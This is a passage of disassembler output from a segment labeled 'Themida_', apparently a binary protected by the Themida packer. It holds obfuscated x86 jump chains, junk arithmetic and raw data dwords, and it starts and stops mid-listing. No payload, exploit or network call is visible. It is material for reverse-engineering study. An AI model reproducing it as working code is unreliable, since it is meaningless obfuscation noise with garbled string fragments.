8B758Ch, 0FEE8100h dd 57718E0Ah, 0F21419BFh, 0E9FE0971h, 0B949h ; --------------------------------------------------------------------------- loc_58B878: ; CODE XREF: Themida_:0058E5F5j pop esi jmp loc_5909A6 ; --------------------------------------------------------------------------- loc_58B87E: ; CODE XREF: Themida_:00593078j add edi, 6BB62C5Eh pop ebp push esi mov esi, 5B000363h add ebx, esi pop esi add ebx, edi sub ebx, 5B000363h pop edi jmp loc_593B1A ; --------------------------------------------------------------------------- dd 83241C8Bh, 0EC8104C4h, 4, 0B5240C89h, 0FE6E970h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B8B2: ; CODE XREF: Themida_:0058EAE0j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 0D816D25h sub esi, eax pop eax and esi, 29BD449Ch sub esi, 7E040Ch and eax, esi mov esi, [esp] add esp, 4 jmp loc_593E9B ; --------------------------------------------------------------------------- dd 68243489h, 35384EDDh, 0D9F6815Eh, 0E935384Eh, 0ADACh dd 0E9242C8Bh, 0FFFFE9E4h, 0E904C483h, 89A6h, 74A2EA81h dd 0DCE94FDFh, 0FF000033h, 34FF2434h, 89535824h, 0AABE56E3h dd 462E6832h, 6563E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B92E: ; CODE XREF: Themida_:005969E5j pop esi add esi, 7ABD6E58h jmp loc_597CC8 ; --------------------------------------------------------------------------- dw 0E2C1h dd 3FBB5308h, 814E3542h, 0FE31B2CBh, 61C3813Eh, 8178AF09h dd 5E0320CBh, 0DAEB8144h, 5718FC27h, 801233BFh, 0DCEB815Dh dd 140C577h, 0DCC381FBh, 5F40C577h, 1416E9h, 24148B00h dd 0A59E9h, 0CBE9AD00h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B983: ; CODE XREF: Themida_:0058A9A3j add esp, 4 pop edx add edx, 55BB4B17h jmp loc_59716C ; --------------------------------------------------------------------------- dw 37E9h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B997: ; CODE XREF: Themida_:0058BD6Fj push ecx mov ecx, 79FB666Ah or ecx, 4A19697Dh jmp loc_592FF7 ; --------------------------------------------------------------------------- loc_58B9A8: ; CODE XREF: Themida_:loc_594C51j xor eax, 79FA75FFh jmp loc_58C6A6 ; --------------------------------------------------------------------------- dw 0C483h dd 85B9E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B9BA: ; CODE XREF: Themida_:0058A72Fj shl ebp, 5 jmp loc_590327 ; --------------------------------------------------------------------------- aSH db ')Ωι%h',0 db 0 ; --------------------------------------------------------------------------- loc_58B9C9: ; CODE XREF: Themida_:00594677j push eax mov eax, 69746F2Bh sub eax, 36507E6Ch not eax xor eax, 5CCE5CDCh xor eax, 0F1787485h sub edx, eax pop eax mov edi, [esp] add esp, 4 add edx, 4 push 6BF0h jmp loc_590F4F ; --------------------------------------------------------------------------- db 81h, 0C7h, 0F0h dd 8173402Eh, 0E349C4C7h, 81D7015Ch, 0E349C4EFh, 4119E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BA12: ; CODE XREF: Themida_:00590D80j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5940B8 ; --------------------------------------------------------------------------- loc_58BA29: ; CODE XREF: Themida_:0058E2D5j mov ebp, 69462A22h jmp loc_5940E2 ; --------------------------------------------------------------------------- loc_58BA33: ; CODE XREF: Themida_:0058FE27j mov ebp, 46DA433Fh sub ebp, 53011B95h push edx mov edx, 85A21E4h shl edx, 4 jmp loc_58B845 ; --------------------------------------------------------------------------- dd 240C8B54h, 0E904C483h, 106Ah, 33243431h, 248B2434h dd 4896624h, 0E864E924h, 0EC83FFFFh, 241C8904h, 4EC9E9h db 0 ; --------------------------------------------------------------------------- loc_58BA75: ; CODE XREF: Themida_:00592840j push esi mov esi, 4 jmp loc_59393E ; --------------------------------------------------------------------------- loc_58BA80: ; CODE XREF: Themida_:0058DCA3j push ecx mov ecx, esp push eax mov eax, 4 add ecx, eax pop eax add ecx, 4 jmp loc_58FD95 ; --------------------------------------------------------------------------- loc_58BA94: ; CODE XREF: Themida_:0058D30Fj mov ecx, [esp] add esp, 4 add eax, esi jmp loc_5975EA ; --------------------------------------------------------------------------- dd 9D1C77FFh, 24041958h, 0E81CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BAB2: ; CODE XREF: Themida_:00593FBDj push 1B21276Eh pop eax and eax, 43CF42FEh shl eax, 7 add eax, 91DB06B6h jmp loc_596713 ; --------------------------------------------------------------------------- loc_58BACA: ; CODE XREF: Themida_:0058CE7Aj pop esp or ebp, 0F645139h add ebp, 0E0108811h mov edx, ebp pop ebp and ebx, edx mov edx, [esp] add esp, 4 or ebx, ebx jnz loc_597A0A push 7241h mov [esp], eax jmp loc_58ADF2 ; --------------------------------------------------------------------------- loc_58BAFA: ; CODE XREF: Themida_:0058F772j ; Themida_:00595CDEj sub al, 29h mov ch, al pop eax add bl, ch jmp loc_5949A7 ; --------------------------------------------------------------------------- loc_58BB06: ; CODE XREF: Themida_:0059072Cj neg esi sub esi, 80976724h sub ebx, esi pop esi pop edi add ebx, 7F907FDDh jmp loc_595A8E ; --------------------------------------------------------------------------- aScb db '[ιB',0 db 0 ; --------------------------------------------------------------------------- loc_58BB23: ; CODE XREF: Themida_:loc_5947DCj or dl, 81h jnp loc_590C09 push ebx mov bl, 1Ch jmp loc_58BB94 ; --------------------------------------------------------------------------- dd 0CEF894Ah db 0F5h ; --------------------------------------------------------------------------- loc_58BB39: ; CODE XREF: Themida_:0058C765j shr eax, 10h xor eax, ecx sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_58DEED ; --------------------------------------------------------------------------- db 0BEh dd 0FFEE55F5h, 0FFE89FE9h, 0B7E95EFFh, 0C1FFFFEEh, 0D3F707E3h dd 548E381h, 2EE952AAh, 2D0000BAh, 7C7A5F4Fh, 0C83D3D2Dh dd 1F17E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BB82: ; CODE XREF: Themida_:00590810j sub dword ptr [esp], 252E2528h pop edi push 2B80h jmp loc_593EB6 ; --------------------------------------------------------------------------- loc_58BB94: ; CODE XREF: Themida_:0058BB2Fj ; Themida_:0058FC2Dj xor [esp], edi jmp loc_59129D ; --------------------------------------------------------------------------- loc_58BB9C: ; CODE XREF: Themida_:0059729Fj or ebp, 3C35629Eh jnb loc_58B365 inc ebp not ebp inc ebp jg loc_58C397 pop cx add al, 0C1h add al, bl push ecx mov ch, 0C1h sub al, ch jmp loc_595F30 ; --------------------------------------------------------------------------- dw 34FFh aSE db '$ιΨ ',0 align 2 dw 0EC81h dd 4, 0B8240489h, 21801B4Bh, 2FE9C231h, 30000067h, 290458C7h dd 292CF800h, 0EC835B66h, 241C8904h, 0E3C0B0B3h, 6B22E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BBFA: ; CODE XREF: Themida_:00592165j or edx, eax shl edx, 1 push 65C0h mov [esp], ebp push eax push 3286058Ah mov eax, [esp] add esp, 4 shl eax, 8 jz loc_594C51 jmp loc_58D051 ; --------------------------------------------------------------------------- db 0BEh dd 6F25374Eh, 0FFE9FE29h, 680000B1h, 6F81h, 81242489h dd 42404h, 1C8B0000h, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 4C3815Ch, 81000000h, 4C3h, 74FF5300h, 0ADE90424h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58BC67: ; CODE XREF: Themida_:00591CE9j pop edx xchg eax, [esp] pop esp mov cx, [esp] push ebp mov ebp, esp add ebp, 4 push 186Bh jmp loc_597E38 ; --------------------------------------------------------------------------- db 33h dd 248B2434h, 5E545624h, 104CE9h, 2434FF00h, 0F984E95Fh dd 0C3E9FFFFh, 5900007Dh, 8D68E9h db 0 ; --------------------------------------------------------------------------- loc_58BCA5: ; CODE XREF: Themida_:005927D5j sub bl, cl jmp loc_58A76D ; --------------------------------------------------------------------------- dd 96181DB9h, 2E9C167h, 9778F181h, 0CA093072h, 0AB8EE959h dd 0F660000h, 9C2404ABh, 0FFE601E9h db 0FFh ; --------------------------------------------------------------------------- loc_58BCCD: ; CODE XREF: Themida_:00593F52j push 931h mov [esp], edx mov dh, 0 inc dh add dh, 0B0h sub dh, 4Bh sub cl, dh pop edx mov ebx, [esp] add esp, 4 sub bl, 5Dh sub bl, cl add bl, 5Dh pop ecx jmp loc_59664B ; --------------------------------------------------------------------------- aS_5 db '\ιΛ΄',0 dw 5E00h a31SC db '3,$1,$ιΈc',0 db 0 ; --------------------------------------------------------------------------- loc_58BD0B: ; CODE XREF: Themida_:0058E88Ej xor ebx, 2CB30EB1h sub edi, 7E1D0FDEh sub edi, ebx jmp loc_59082B ; --------------------------------------------------------------------------- loc_58BD1E: ; CODE XREF: Themida_:0058FCADj not edi sub edi, 37CF693Bh jmp loc_593026 ; --------------------------------------------------------------------------- loc_58BD2B: ; CODE XREF: Themida_:00595606j pop ecx push eax mov ah, 0F7h not ah inc ah sub ah, 9Fh jmp loc_58C9D9 ; --------------------------------------------------------------------------- db 33h dd 1C31241Ch, 0D32E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BD46: ; CODE XREF: Themida_:loc_5904A9j mov edx, [esp] add esp, 4 sub edi, 8ED08B5h sub edi, esi jmp loc_59747D ; --------------------------------------------------------------------------- loc_58BD59: ; CODE XREF: Themida_:0058E3E0j push 5FA8h mov [esp], ebx mov ebx, 2F620ED3h mov esi, ebx pop ebx shr esi, 3 shl esi, 3 jns loc_58B997 push ecx mov ecx, 79FB666Ah or ecx, 4A19697Dh mov esi, edx push eax loc_58BD84: ; CODE XREF: Themida_:00597ED7j shr dh, 1 add dh, 5Ah dec dh or dh, 54h push ecx jmp loc_58CE0B ; --------------------------------------------------------------------------- loc_58BD94: ; CODE XREF: Themida_:0058DB67j add ch, 0BBh jmp loc_58F892 ; --------------------------------------------------------------------------- dd 1461685Dh, 3C890000h, 5CBE5624h, 0F754EE57h, 0A3880FDEh dd 81000055h, 11A8A2EEh, 0DA8956ABh db 5Eh ; --------------------------------------------------------------------------- loc_58BDBD: ; CODE XREF: Themida_:00596AADj push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push ecx mov ecx, esp push edi mov edi, 544271A1h neg edi jmp loc_59481B ; --------------------------------------------------------------------------- dw 0ED81h dd 1F141C6Ah, 0DA1E581h, 0ED815EEAh, 9EDFE5F4h, 0B5E9E829h dd 8B000005h, 0C4812414h, 4, 4C281h, 33680000h, 89000006h dd 2BF243Ch, 1000000h, 9059E9FAh, 0C890000h, 17B45024h dd 808DE480h, 0B6529AECh, 5AF4288Fh, 0D058E188h, 4D90E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BE32: ; CODE XREF: Themida_:0058DD53j sub bl, 8 mov ch, bl jmp loc_592D63 ; --------------------------------------------------------------------------- loc_58BE3C: ; CODE XREF: Themida_:0058FB42j mov ecx, 28h push 32A9h mov [esp], ebx mov ebx, 1A3025A4h add ecx, 4E817D08h jmp loc_5931E2 ; --------------------------------------------------------------------------- loc_58BE59: ; CODE XREF: Themida_:00590E5Fj mov ecx, 5371559Fh and ecx, 26360458h add ecx, 1F412102h push ecx not dword ptr [esp] jmp loc_590305 ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 242C8900h, 5404EC83h, 8124048Fh, 42404h dd 49E90000h, 8300003Ch, 3C8704EFh, 3C895C24h, 4BF24h dd 0FD010000h, 21EE9h, 4C48300h, 4BA52h, 0D3290000h, 241C335Ah dd 0E9241C31h, 0AE5Ch ; --------------------------------------------------------------------------- loc_58BEC0: ; CODE XREF: Themida_:0058C7BBj sub ebx, edx pop edx add ebx, 0A877BA99h and ebp, ebx pop ebx xor ebp, 721778FCh push eax mov eax, 1B4C5146h jmp loc_590D3F ; --------------------------------------------------------------------------- loc_58BEDD: ; CODE XREF: Themida_:0058D121j push edi mov edi, 12911C2Fh mov esi, 12911C2Bh jmp loc_58FC07 ; --------------------------------------------------------------------------- loc_58BEED: ; CODE XREF: Themida_:00590F56j pop edx pop dword ptr [esp] jmp loc_59757F ; --------------------------------------------------------------------------- dw 0EF81h dd 1DB15A02h, 76DCE781h, 2CE97A53h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58BF07: ; CODE XREF: Themida_:005920DBj push 71D06E3Eh pop ecx xor ecx, 5DE00431h jmp loc_59699A ; --------------------------------------------------------------------------- aYsjj db 'Yι¦',0 align 2 dw 0EC81h dd 4, 0E9243489h, 0FFFFFC27h ; --------------------------------------------------------------------------- loc_58BF2C: ; CODE XREF: Themida_:0058E7C7j and eax, 48A377BCh inc eax sub eax, 0E407E291h add ecx, eax pop eax jmp loc_597CBB ; --------------------------------------------------------------------------- loc_58BF3F: ; CODE XREF: Themida_:0058DAC3j pop esi xchg esi, ebp xchg ebp, esi push eax push edi mov edi, 0DCADD322h mov eax, edi pop edi jmp loc_595AD4 ; --------------------------------------------------------------------------- aPse db 'Pι₯ΐ',0 db 0 ; --------------------------------------------------------------------------- loc_58BF59: ; CODE XREF: Themida_:00597096j or esi, ecx pop ecx xor esi, 2ACD3BEDh jmp loc_59248C ; --------------------------------------------------------------------------- db 81h dd 343098EFh, 24348B20h, 4C481h, 0C7830000h, 4CBFE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58BF7E: ; CODE XREF: Themida_:00595D1Dj mov [esp], ecx mov ecx, 87FB5464h add edx, ecx pop ecx jmp loc_58D1C9 ; --------------------------------------------------------------------------- dw 405h dd 50000000h, 42474FFh, 24048F58h, 2404295Ch, 0E328E99Ch dd 3487FFFFh, 0C875C24h, 24248B24h, 242CD366h, 93F9E99Ch dd 0CB810000h, 7A405900h, 97E9DBF7h, 51000005h, 97BBB53h dd 60E97DA0h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58BFD3: ; CODE XREF: Themida_:0058C600j or bl, 0AFh jnz loc_595C94 inc bl jmp loc_58F7A5 ; --------------------------------------------------------------------------- db 88h dd 24148BD5h, 9C242CD2h, 0FFE2DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_58BFF1: ; CODE XREF: Themida_:0058C421j mov ebx, esp jmp loc_58CE8A ; --------------------------------------------------------------------------- dd 4EC81ADh, 89000000h, 53BE2434h, 2D13BC75h, 2BE439A1h dd 0A105F029h, 5E2BE439h, 0D8551005h, 2DD80141h, 41D85510h dd 0B8505657h, 368D25F5h, 0B0BCE9h, 0BE56AD00h, 0FE67D2Dh dd 1418E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C03A: ; CODE XREF: Themida_:0059496Cj neg cl xchg cl, al push edx mov dl, 7 not dl dec dl shl dl, 8 shr dl, 3 jmp loc_58D7EF ; --------------------------------------------------------------------------- loc_58C050: ; CODE XREF: Themida_:005926E0j dec byte ptr [esp] pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58C059: ; CODE XREF: Themida_:00593F3Dj sub edx, 3FC579D0h jmp loc_5957AD ; --------------------------------------------------------------------------- loc_58C064: ; CODE XREF: Themida_:0058EB81j push 466D37E5h pop eax jmp loc_5926D2 ; --------------------------------------------------------------------------- loc_58C06F: ; CODE XREF: Themida_:00591829j sub ebx, 126A201Dh sub ebx, ebp jmp loc_5977A7 ; --------------------------------------------------------------------------- loc_58C07C: ; CODE XREF: Themida_:00591232j mov edi, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] jmp loc_592019 ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 5604C683h, 42474FFh, 24048F5Eh, 243C875Ch dd 6624248Bh, 9C2424D3h, 0FFE219E9h, 46820FFFh, 0E900001Eh dd 0B75Dh, 0B567E95Ah, 5F5A0000h, 0FFEF8CE9h db 0FFh ; --------------------------------------------------------------------------- loc_58C0CD: ; CODE XREF: Themida_:005965D3j mov ecx, [esp] push edi mov edi, esp jmp loc_58AD2E ; --------------------------------------------------------------------------- loc_58C0D8: ; CODE XREF: Themida_:00597CB6j mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_58C99E ; --------------------------------------------------------------------------- dd 4C181h, 0E9830000h, 240C8704h, 3F73E9h, 39ABF00h, 20E97D0Dh db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C103: ; CODE XREF: Themida_:00592FF2j mov edx, [esp] add esp, 4 loc_58C10C: ; CODE XREF: Themida_:0059049Ej push 50D6h mov [esp], ecx jmp loc_59338C ; --------------------------------------------------------------------------- loc_58C119: ; CODE XREF: Themida_:0059412Cj pop ebp shr eax, 8 xor eax, ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_58C97F ; --------------------------------------------------------------------------- loc_58C133: ; CODE XREF: Themida_:00592F5Dj push eax mov eax, esp jmp loc_58D34A ; --------------------------------------------------------------------------- loc_58C13B: ; CODE XREF: Themida_:00593EB1j push edi jmp loc_58EAE5 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FFE9A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_58C149: ; CODE XREF: Themida_:0058EDDAj mov esp, [esp] mov [esp], edx mov edx, 579F3161h xor edx, 28D839EBh push eax jmp loc_592446 ; --------------------------------------------------------------------------- loc_58C160: ; CODE XREF: Themida_:0058C636j pop edi add edi, 57E31B65h pop esi jmp loc_595236 ; --------------------------------------------------------------------------- loc_58C16D: ; CODE XREF: Themida_:0058C940j add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_58CD20 ; --------------------------------------------------------------------------- loc_58C17E: ; CODE XREF: Themida_:loc_592757j ; Themida_:005953CFj push ebx jmp loc_58F970 ; --------------------------------------------------------------------------- aQsL db 'Q鲫',0 align 2 dw 0C821h dd 81240C8Bh, 4C4h, 28632500h, 0FC2D3925h, 10823FFh, 24048BC5h dd 0E904C483h, 8C69h ; --------------------------------------------------------------------------- loc_58C1AC: ; CODE XREF: Themida_:00597C6Dj push 2157h mov [esp], edx mov edx, 3E7C4CF4h xchg eax, edx inc eax jmp loc_58C9E9 ; --------------------------------------------------------------------------- dd 592434FFh, 464CE9h, 0D831AD00h, 20596853h, 0E7E91781h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C1D7: ; CODE XREF: Themida_:0058E148j mov esp, [esp] push 4969h mov [esp], ebx mov ebx, 25DE7A5Dh add ebx, 75137FEDh jbe loc_593650 sub ebx, 313F7FA4h not ebx xor ebx, 964D8558h and eax, ebx jmp loc_5958DF ; --------------------------------------------------------------------------- loc_58C208: ; CODE XREF: Themida_:00592493j shl esi, 2 jmp loc_58DF4E ; --------------------------------------------------------------------------- loc_58C210: ; CODE XREF: Themida_:005956B5j add eax, edx jmp loc_58E524 ; --------------------------------------------------------------------------- db 56h dd 0FFFFFFBEh, 82C381FFh, 15FBB4Ch, 3E5AE9F3h, 8B660000h dd 0E2E92404h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C233: ; CODE XREF: Themida_:005979CDj mov edi, 4 add esi, 5EF40639h jmp loc_593842 ; --------------------------------------------------------------------------- loc_58C243: ; CODE XREF: Themida_:0058FCBCj pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_58F500 ; --------------------------------------------------------------------------- loc_58C252: ; CODE XREF: Themida_:005922FAj xchg edx, [esp] pop esp jmp loc_5967C8 ; --------------------------------------------------------------------------- loc_58C25B: ; CODE XREF: Themida_:00595196j pop ebx push ebx jmp loc_591059 ; --------------------------------------------------------------------------- dw 0C87h dd 24248B24h, 5624048Bh, 0C681E689h, 4, 2AB2BD55h, 0EC835408h dd 242C8904h, 0F75A5D52h, 0E9D587D2h, 2F34h ; --------------------------------------------------------------------------- loc_58C28C: ; CODE XREF: Themida_:0058DDE3j mov esi, 0B66687Eh shl esi, 3 xor esi, 6FD41C3Ah neg esi dec esi xor esi, 0CB18A031h jmp loc_58C2D1 ; --------------------------------------------------------------------------- dd 0F7D0F759h, 707605D0h, 0C6290BD6h, 34335B58h, 24343124h dd 5C243433h, 8F43E9h db 0 ; --------------------------------------------------------------------------- loc_58C2C5: ; CODE XREF: Themida_:00592BACj mov ecx, [esp] add esp, 4 push ebx jmp loc_58F4B2 ; --------------------------------------------------------------------------- loc_58C2D1: ; CODE XREF: Themida_:0058C2A3j add edx, esi jmp loc_58EE00 ; --------------------------------------------------------------------------- loc_58C2D8: ; CODE XREF: Themida_:005919C7j neg eax jmp loc_59240C ; --------------------------------------------------------------------------- loc_58C2DF: ; CODE XREF: Themida_:005926D5j and eax, 51F53A7Fh jg loc_58C3BC xor eax, 6593422Ch mov ebx, eax pop eax xor ebp, ebx pop ebx push ebp mov ebx, [esp] loc_58C2F9: ; CODE XREF: Themida_:00592E6Aj push eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp add ebx, eax push edx mov edx, 3F794FEAh add ebx, edx pop edx xor edx, eax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58C320: ; CODE XREF: Themida_:0058AE02j mov [esp], ecx push 541Fh mov [esp], edx sub esp, 4 mov [esp], ecx jmp loc_58AADC ; --------------------------------------------------------------------------- loc_58C336: ; CODE XREF: Themida_:0058D92Cj xchg esi, [esp] pop esp jmp loc_58A2CE ; --------------------------------------------------------------------------- db 83h dd 0FA2802C4h, 5B90C280h, 9C77E9h, 0DF7CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C352: ; CODE XREF: Themida_:005940A9j add esp, 4 sub esp, 4 jmp loc_58D0D8 ; --------------------------------------------------------------------------- loc_58C360: ; CODE XREF: Themida_:0058DFDAj pop cx add al, bl pop ebx pop edx add bl, 37h add bl, 0C7h sub bl, al sub bl, 0C7h jmp loc_58A8AA ; --------------------------------------------------------------------------- dw 0F680h dd 7E6C001h, 8447850Fh, 89E90000h db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C387: ; CODE XREF: Themida_:0058C94Bj xor ecx, 0F5D2F76h and eax, ecx push dword ptr [esp] jmp loc_58F52E ; --------------------------------------------------------------------------- loc_58C397: ; CODE XREF: Themida_:0058BBACj ; Themida_:00591BD1j pop esp jmp loc_592107 ; --------------------------------------------------------------------------- loc_58C39D: ; CODE XREF: Themida_:00590EBAj xor ecx, [esp] mov esp, [esp] jmp loc_597D35 ; --------------------------------------------------------------------------- dd 4EC815Dh, 89000000h, 0FFBA2414h, 0E9FFFFFFh, 567Ah ; --------------------------------------------------------------------------- loc_58C3BC: ; CODE XREF: Themida_:0058C2E4j xor eax, 6593422Ch mov ebx, eax pop eax xor ebp, ebx pop ebx push ebp mov ebx, [esp] add esp, 4 jmp loc_591703 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFD0015Eh, 835A2434h, 8E6804C4h, 89000063h, 89512414h dd 4C181E1h, 83000000h, 0C8704E9h, 3C895C24h, 5C9A6824h dd 34890000h, 47E3BE24h, 55E939B2h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C413: ; CODE XREF: Themida_:00597043j mov ebp, edi mov edi, [esp] jmp loc_597299 ; --------------------------------------------------------------------------- loc_58C41D: ; CODE XREF: Themida_:0058E027j ; Themida_:0059329Cj mov edx, [esp] push ebx jmp loc_58BFF1 ; --------------------------------------------------------------------------- dw 0E6C1h dd 3EEC108h, 681E681h, 0F6811ECFh, 2B3C4E4Ch, 535EF029h dd 0C70321BBh, 0E3C14B70h, 0F2F38104h, 0E95C325Fh, 90E8h ; --------------------------------------------------------------------------- loc_58C450: ; CODE XREF: Themida_:00594741j mov ebx, esp jmp loc_5935D2 ; --------------------------------------------------------------------------- db 0BAh dd 4, 0E95AD101h, 13BEh, 561DBBEh, 25F68126h, 0F739FC1Ah dd 0C9B850D6h, 0C1663D45h, 0D0F708E8h, 75F7BF57h, 0F829B9D0h dd 58C6095Fh, 4E19E9h db 0 ; --------------------------------------------------------------------------- loc_58C48D: ; CODE XREF: Themida_:00592A12j mov cx, [esp] push ebp jmp loc_592ED8 ; --------------------------------------------------------------------------- loc_58C497: ; CODE XREF: Themida_:0058E227j xor ebp, ebx pop ebx xor edi, ebp pop ebp push edi mov eax, [esp] add esp, 4 mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5946BF ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 6ABCE9h, 7DFDBB00h dd 0DBF759A8h, 59628E0Fh, 0CB810000h, 1CB7621Eh, 1C018D0Fh dd 8A520000h db 0FFh ; --------------------------------------------------------------------------- loc_58C4ED: ; CODE XREF: Themida_:005924FEj mov edx, [esp] add esp, 4 jmp loc_58D9C8 ; --------------------------------------------------------------------------- loc_58C4F8: ; CODE XREF: Themida_:00592624j mov edx, ebx jmp loc_58F7E2 ; --------------------------------------------------------------------------- loc_58C4FF: ; CODE XREF: Themida_:loc_594CB3j or esi, 57B52F04h jmp loc_591CEE ; --------------------------------------------------------------------------- loc_58C50A: ; CODE XREF: Themida_:00593723j jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58C50F: ; CODE XREF: Themida_:00597D87j pop dword ptr [esp] push ecx not dword ptr [esp] jmp loc_591072 ; --------------------------------------------------------------------------- loc_58C51B: ; CODE XREF: Themida_:00594471j mov esp, [esp] mov dx, [esp] push edx mov edx, esp sub esp, 4 mov [esp], edi jmp loc_58D3B5 ; --------------------------------------------------------------------------- db 89h dd 28B9240Ch, 8163FD4Bh, 0D66C00C9h, 552CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C546: ; CODE XREF: Themida_:00594A41j shr eax, 2 jnp loc_58EACC push edi mov edi, 0EA87F417h sub eax, edi pop edi sub esi, eax mov eax, [esp] push esp sub ebx, 800C2095h add ecx, ebx pop ebx push edi mov edi, 4 sub ecx, edi mov edi, [esp] jmp loc_591F17 ; --------------------------------------------------------------------------- db 68h dd 320Eh, 0E9240C89h, 1056h ; --------------------------------------------------------------------------- loc_58C584: ; CODE XREF: Themida_:0058F74Aj push dword ptr [esp+4] jmp loc_58EEDD ; --------------------------------------------------------------------------- loc_58C58D: ; CODE XREF: Themida_:0058CC94j pop bx pop edx push ebx jmp loc_596868 ; --------------------------------------------------------------------------- dw 0C1BDh dd 0F73A4D71h, 5FF581DDh, 18893CEh, 0D3015DEBh, 4060EB81h dd 3884D21h, 598AE9h, 4C48300h, 16EAE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C5BE: ; CODE XREF: Themida_:0058E8F3j add eax, 589C7B72h push dword ptr [esp] pop ebx jmp loc_590A68 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h, 5A5E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C5DA: ; CODE XREF: Themida_:00598060j push edx jmp loc_58A7A8 ; --------------------------------------------------------------------------- loc_58C5E0: ; CODE XREF: Themida_:loc_58DBDFj shr eax, 6 jmp loc_58F927 ; --------------------------------------------------------------------------- loc_58C5E8: ; CODE XREF: Themida_:005922ADj jg loc_58CA6C not edi push 35Fh jmp loc_596F86 ; --------------------------------------------------------------------------- db 52h ; --------------------------------------------------------------------------- loc_58C5FB: ; CODE XREF: Themida_:0058B4B6j mov bl, 0Dh shr bl, 3 jmp loc_58BFD3 ; --------------------------------------------------------------------------- loc_58C605: ; CODE XREF: Themida_:loc_58FD90j jmp loc_590F3F ; --------------------------------------------------------------------------- loc_58C60A: ; CODE XREF: Themida_:loc_595ACFj dec ecx jno loc_58F12A jmp loc_58D4ED ; --------------------------------------------------------------------------- dw 27BBh dd 5E55AA2Eh, 2A6880BEh, 1841E906h, 0EE800000h, 0E9F188C0h dd 714Bh ; --------------------------------------------------------------------------- loc_58C630: ; CODE XREF: Themida_:00596F8Fj xor ebx, 6B84F12Bh jmp loc_58C160 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 8C0F4604h, 1B7Ah, 0B83C681h, 8C0F4C94h dd 654Dh ; --------------------------------------------------------------------------- loc_58C654: ; CODE XREF: Themida_:005903AEj js loc_5908BD push edx push ebx mov ebx, 3A351BA8h mov edx, ebx pop ebx push ecx push edi mov edi, 4B2D6896h mov ecx, edi pop edi jmp loc_595716 ; --------------------------------------------------------------------------- loc_58C673: ; CODE XREF: Themida_:0058F922j sub ecx, edi pop edi push edx mov edx, 8653BADh xor edx, 220665D0h or ecx, edx pop edx sub ecx, 0AED9EECEh add esi, ecx jmp loc_58DFAC ; --------------------------------------------------------------------------- loc_58C692: ; CODE XREF: Themida_:0059151Cj pop ecx xor ecx, 39D076BAh sub eax, ecx mov ecx, [esp] add esp, 4 jmp loc_58CDF5 ; --------------------------------------------------------------------------- loc_58C6A6: ; CODE XREF: Themida_:0058B9ADj jmp loc_592757 ; --------------------------------------------------------------------------- db 66h dd 55240C8Bh, 242C8B54h, 0E904EC83h, 6A29h ; --------------------------------------------------------------------------- loc_58C6BC: ; CODE XREF: Themida_:00591949j pop esp mov [esp], ebx mov ebx, 2 add ebp, ebx mov ebx, [esp] add esp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_58E652 ; --------------------------------------------------------------------------- db 0Fh dd 1CB188h, 8D0F4F00h, 47D7h, 56852C47h ; --------------------------------------------------------------------------- loc_58C6EC: ; CODE XREF: Themida_:loc_591961j add esi, 4 push 6E9Bh mov [esp], edi mov edi, 51FF38EDh neg edi dec edi not edi or edi, 37DE197Ah sub edi, 77FF39FBh add esi, edi jmp loc_58FDF7 ; --------------------------------------------------------------------------- loc_58C717: ; CODE XREF: Themida_:0058DDC7j mov ecx, edi jmp loc_590E4A ; --------------------------------------------------------------------------- loc_58C71E: ; 